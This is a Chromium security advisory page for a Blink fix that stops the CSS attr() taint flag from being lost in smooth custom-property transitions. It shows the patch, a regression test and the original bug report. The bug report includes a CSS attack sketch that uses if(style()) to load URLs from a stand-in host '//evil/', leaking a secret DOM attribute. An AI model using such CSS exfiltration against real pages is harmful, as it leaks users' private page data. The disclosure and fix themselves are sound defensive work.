CVE-2026-79293
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/animation/css/css_animations.cc |
modified |
Files Changed
third_party/blink/renderer/core/animation/css/css_animations.ccthird_party/blink/renderer/core/animation/css_default_interpolation_type.hthird_party/blink/renderer/core/animation/css_interpolation_environment.hthird_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/animation/css_interpolation_type.hthird_party/blink/renderer/core/animation/transition_interpolation.ccthird_party/blink/renderer/core/animation/transition_interpolation.h
Patch
From 761a8bf37f3d6974d6998604c1bfa807f6082b99 Mon Sep 17 00:00:00 2001
From: Kevin Babbitt <kbabbitt@microsoft.com>
Date: Mon, 20 Jul 2026 11:56:33 -0700
Subject: [PATCH] Propagate attr() taint through interpolable custom property transitions
For custom property transitions, we were calculating is_attr_tainted
only in discrete transition cases. This allowed the flag to be laundered
away in interpolable transitions.
This CL factors is_attr_tainted computation onto the common path and
propagates it through the pipeline for interpolable transitions.
Fixed: 517746687
Change-Id: I07a965b29838567d746fa48cb270c74c2bbdd6aa
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8102417
Reviewed-by: Kevin Ellis <kevers@chromium.org>
Commit-Queue: Kevin Babbitt <kbabbitt@microsoft.com>
Cr-Commit-Position: refs/heads/main@{#1664831}
---
diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc
index 5b90ab3..5104af07 100644
--- a/third_party/blink/renderer/core/animation/css/css_animations.cc
+++ b/third_party/blink/renderer/core/animation/css/css_animations.cc
@@ -2660,6 +2660,18 @@
}
bool is_attr_tainted = false;
+ if (property.IsCSSCustomProperty()) {
+ const Document& document = state.animating_element.GetDocument();
+ CSSPropertyName property_name = property.GetCSSPropertyName();
+ CSSPropertyRef custom_ref(&property_name, document);
+ CSSVariableData* old_data = state.old_style.GetVariableData(
+ property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
+ CSSVariableData* new_data = after_change_style.GetVariableData(
+ property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
+ is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
+ (new_data && new_data->IsAttrTainted());
+ }
+
if (!start || !end) {
const Document& document = state.animating_element.GetDocument();
const CSSValue* start_css_value =
@@ -2691,18 +2703,6 @@
// correctly. If that bug is fixed, then this should never happen.
return;
}
- if (property.IsCSSCustomProperty()) {
- CSSPropertyName property_name = property.GetCSSPropertyName();
- CSSPropertyRef custom_ref(&property_name, document);
- CSSVariableData* old_data = state.old_style.GetVariableData(
- property.CustomPropertyName(),
- custom_ref.GetProperty().IsInherited());
- CSSVariableData* new_data = after_change_style.GetVariableData(
- property.CustomPropertyName(),
- custom_ref.GetProperty().IsInherited());
- is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
- (new_data && new_data->IsAttrTainted());
- }
start = InterpolationValue(
MakeGarbageCollected<InterpolableList>(0),
MakeGarbageCollected<CSSDefaultNonInterpolableValue>(
@@ -2776,6 +2776,7 @@
transition_type, start.interpolable_value->Clone(),
start.non_interpolable_value));
start_keyframe->SetOffset(0);
+ start_keyframe->SetIsAttrTainted(is_attr_tainted);
keyframes.push_back(start_keyframe);
TransitionKeyframe* end_keyframe =
@@ -2784,6 +2785,7 @@
transition_type, end.interpolable_value->Clone(),
end.non_interpolable_value));
end_keyframe->SetOffset(1);
+ end_keyframe->SetIsAttrTainted(is_attr_tainted);
keyframes.push_back(end_keyframe);
if (property.GetCSSProperty().IsCompositableProperty() &&
diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
index 6e78560..70f1838 100644
--- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
+++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
@@ -32,11 +32,8 @@
private:
Member<const CSSValue> css_value_;
- // Currently, only non-interpolable <string> types can be used within <url>
- // types in CSS. If interpolable types (e.g., <integer>) become usable within
- // <url> types in the future (perhaps via a hypothetical 'concat()' function),
- // we will need to add an `is_attr_tainted_` flag to other InterpolableValue
- // types as well.
+ // Interpolable types (e.g., <number>) are handled via TransitionKeyframe and
+ // CSSInterpolationEnvironment::IsAttrTainted() instead.
bool is_attr_tainted_;
};
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.h b/third_party/blink/renderer/core/animation/css_interpolation_environment.h
index 838c1b84..28d983d 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_environment.h
+++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.h
@@ -80,6 +80,14 @@
const CSSValue*,
const TreeScope*) const;
+ // Set by the caller of InterpolationType::Apply when one of the values
+ // being interpolated originated from attr(), so that the applied value can
+ // be marked as attr-tainted.
+ bool IsAttrTainted() const { return is_attr_tainted_; }
+ void SetIsAttrTainted(bool is_attr_tainted) {
+ is_attr_tainted_ = is_attr_tainted;
+ }
+
private:
const InterpolationTypesMap& interpolation_types_map_;
StyleResolverState* state_ = nullptr;
@@ -87,6 +95,7 @@
const ComputedStyle* animation_controls_style_ = nullptr;
StyleCascade* cascade_ = nullptr;
CascadeResolver* cascade_resolver_ = nullptr;
+ bool is_attr_tainted_ = false;
};
} // namespace blink
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_interpolation_type.cc
index ee7a47b..eadc81c 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_type.cc
+++ b/third_party/blink/renderer/core/animation/css_interpolation_type.cc
@@ -434,7 +434,8 @@
StyleResolverState& state = environment.GetState();
if (GetProperty().IsCSSCustomProperty()) {
- ApplyCustomPropertyValue(interpolable_value, non_interpolable_value, state);
+ ApplyCustomPropertyValue(interpolable_value, non_interpolable_value,
+ environment);
return;
}
@@ -451,16 +452,22 @@
void CSSInterpolationType::ApplyCustomPropertyValue(
const InterpolableValue& interpolable_value,
const NonInterpolableValue* non_interpolable_value,
- StyleResolverState& state) const {
+ CSSInterpolationEnvironment& environment) const {
DCHECK(GetProperty().IsCSSCustomProperty());
+ StyleResolverState& state = environment.GetState();
const CSSValue* css_value =
CreateCSSValue(interpolable_value, non_interpolable_value, state);
DCHECK(!css_value->IsUnparsedDeclaration());
+ CSSProperty::ValueModeFlags value_mode_flags =
+ static_cast<CSSProperty::ValueModeFlags>(
+ StyleBuilder::ValueMode::kAnimated);
+ if (environment.IsAttrTainted()) {
+ value_mode_flags |= static_cast<CSSProperty::ValueModeFlags>(
+ StyleBuilder::ValueMode::kAttrTainted);
+ }
StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state,
- *css_value,
- static_cast<CSSProperty::ValueModeFlags>(
- StyleBuilder::ValueMode::kAnimated));
+ *css_value, value_mode_flags);
}
} // namespace blink
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.h b/third_party/blink/renderer/core/animation/css_interpolation_type.h
index f12563c..75e36bc 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_type.h
+++ b/third_party/blink/renderer/core/animation/css_interpolation_type.h
@@ -117,7 +117,7 @@
void ApplyCustomPropertyValue(const InterpolableValue&,
const NonInterpolableValue*,
- StyleResolverState&) const;
+ CSSInterpolationEnvironment&) const;
WeakMember<const PropertyRegistration> registration_;
};
diff --git a/third_party/blink/renderer/core/animation/transition_interpolation.cc b/third_party/blink/renderer/core/animation/transition_interpolation.cc
index 8c91f74..6cb0a9f 100644
--- a/third_party/blink/renderer/core/animation/transition_interpolation.cc
+++ b/third_party/blink/renderer/core/animation/transition_interpolation.cc
@@ -7,6 +7,7 @@
#include <memory>
#include "third_party/blink/renderer/core/animation/css/compositor_keyframe_value.h"
+#include "third_party/blink/renderer/core/animation/css_interpolation_environment.h"
#include "third_party/blink/renderer/core/animation/typed_interpolation_value.h"
namespace blink {
@@ -49,6 +50,7 @@
void TransitionInterpolation::Apply(
CSSInterpolationEnvironment& environment) const {
+ environment.SetIsAttrTainted(is_attr_tainted_);
type_->Apply(CurrentInterpolableValue(), CurrentNonInterpolableValue(),
environment);
}
diff --git a/third_party/blink/renderer/core/animation/transition_interpolation.h b/third_party/blink/renderer/core/animation/transition_interpolation.h
index 8b1a8ab..b9ca6fb 100644
--- a/third_party/blink/renderer/core/animation/transition_interpolation.h
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
new file mode 100644
index 0000000..8babdc4
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
@@ -0,0 +1,69 @@
+<!DOCTYPE html>
+<title>CSS Values and Units Test: attr() security limitations</title>
+<link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @property --p {
+ syntax: "<length>";
+ inherits: false;
+ initial-value: 0px;
+ }
+ #attr1 {
+ --n: attr(data-foo type(<number>));
+ transition: --n 1000s steps(1, start);
+ background-image: if(style(--n: 42): url(https://does-not-exist.test/404.png); else: none);
+ }
+ @starting-style {
+ #attr1 { --n: 0; }
+ }
+ #attr2 {
+ --n: attr(data-foo type(<number>));
+ transition: --n 1000s steps(1, start);
+ background-image: if(style(--n >= 40): url(https://does-not-exist.test/404.png); else: none);
+ }
+ @starting-style {
+ #attr2 { --n: 0; }
+ }
+ #attr3 {
+ --p: attr(data-foo type(<length>));
+ transition: --p 1000s steps(1, start);
+ background-image: if(style(--p: 42px): url(https://does-not-exist.test/404.png); else: none);
+ }
+ @starting-style {
+ #attr3 { --p: 0px; }
+ }
+</style>
+
+<html>
+ <body>
+ <div id="attr1" data-foo="42">div</div>
+ <div id="attr2" data-foo="42">div</div>
+ <div id="attr3" data-foo="42px">div</div>
+ </body>
+</html>
+
+<script>
+ test(() => {
+ var elem = document.getElementById("attr1");
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("--n"), '42');
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+ }, `Transitioning <number> from attr() should remain attr-tainted in if(style())`);
+
+ test(() => {
+ var elem = document.getElementById("attr2");
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+ }, `Transitioning <number> from attr() should remain attr-tainted in if(style()) range query`);
+
+ test(() => {
+ var elem = document.getElementById("attr3");
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("--p"), '42px');
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+ }, `Transitioning <length> from attr() should remain attr-tainted in if(style())`);
+</script>
Original Bug Report
CSS attr() taint laundering via smooth transitions on registered custom properties
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A security bypass in Blink’s CSS animation logic allows smooth transitions on registered custom properties to launder the CSS attr() taint flag. When a numeric custom property is smoothly interpolated, the taint status is discarded, enabling potential CSS-only data exfiltration of sensitive DOM attributes via style queries.
Affected files:
third_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/css/properties/longhands/custom_property.ccthird_party/blink/renderer/core/animation/css/css_animations.cc
Estimated timestamp from git blame: 2024-11-29
Root Cause Analysis
The security hardening designed to prevent CSS-only data exfiltration via attr() relies on marking the generated CSSVariableData with is_attr_tainted_ = true. Tainted custom properties cannot be evaluated in conditional queries (e.g., if(style(...)) or @container style(...)) without propagating the taint, which ultimately blocks URL resolution in ConsumeUrlAsToken (css_parsing_utils.cc).
While discrete transitions preserve and propagate the taint via CSSDefaultInterpolationType::Apply (which applies the ValueMode::kAttrTainted flag), smoothly interpolable custom properties (such as registered properties with <number> syntax) bypass this protection.
In third_party/blink/renderer/core/animation/css/css_animations.cc (lines 2659–2712), when a transition begins, if both the old and new values are smoothly interpolable, both start and end interpolation values are successfully resolved. This causes the discrete transition fallback block if (!start || !end) (line 2660) to be skipped. Consequently, the logic that computes is_attr_tainted for custom properties (lines 2691–2701) is never executed:
if (!start || !end) {
...
if (property.IsCSSCustomProperty()) {
is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
(new_data && new_data->IsAttrTainted());
}
...
}
When the active transition interpolation is applied, CSSInterpolationType::ApplyCustomPropertyValue in third_party/blink/renderer/core/animation/css_interpolation_type.cc is invoked (lines 451–464). It calls StyleBuilder::ApplyProperty with only the ValueMode::kAnimated flag:
StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state,
*css_value,
static_cast<CSSProperty::ValueModeFlags>(
StyleBuilder::ValueMode::kAnimated));
Downstream in CustomProperty::ApplyValue (third_party/blink/renderer/core/css/properties/longhands/custom_property.cc), the applied value is a resolved numeric literal (e.g., CSSNumericLiteralValue) rather than a CSSUnparsedDeclarationValue. Therefore, the declaration pointer resolves to nullptr. The taint flag calculation (lines 216–219) resolves to false:
bool is_attr_tainted =
(value_mode & static_cast<ValueModeFlags>(ValueMode::kAttrTainted)) ||
(declaration && declaration->VariableDataValue() &&
declaration->VariableDataValue()->IsAttrTainted());
As a result, a new, untainted CSSVariableData represents the custom property value on the ComputedStyle object, laundering the taint.
Potential Attack Scenario
An attacker could follow these suggested steps to exfiltrate sensitive DOM attributes:
-
Register a numeric custom property via CSS:
@property --n { syntax: "<number>"; inherits: false; initial-value: 0; } -
Bind the registered property to a target element’s sensitive numeric attribute using
attr()and configure a transition:#victim { --n: attr(data-secret type(<number>)); transition: --n 10s steps(1, start); } @starting-style { #victim { --n: 0; } } -
Use conditional CSS style queries to selectively resolve URLs depending on
--n’s value:#victim { background-image: if(style(--n > 4096): url(//evil/gt4096); else: url(//evil/le4096)); } -
Because the transition launders the taint, the conditional evaluation does not mark the resulting URL tokens as tainted, bypassing parser-level URL security checks and initiating the tracking requests.
Note: These steps are based on static analysis of the styling engine, as we do not currently have the environment to execute or run the proof of concept.
Suggested Fix
To remediate this issue, the styling engine must ensure that custom property transition/animation interpolation propagates the is_attr_tainted state during smooth transitions:
- Update the interpolation structures for registered custom properties to carry the
is_attr_taintedflag inside their correspondingNonInterpolableValuesub-classes (resembling howCSSDefaultNonInterpolableValuetracks taint for discrete transitions). - Inside
CSSInterpolationType::ApplyCustomPropertyValue, extract the taint status from theNonInterpolableValueand propagate it asValueMode::kAttrTaintedinside theValueModeFlagswhen invokingStyleBuilder::ApplyProperty.
Evaluated with Chrome root at commit: 5133b93d189b383c37805b1cf3a9d2dbfe8d7379
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.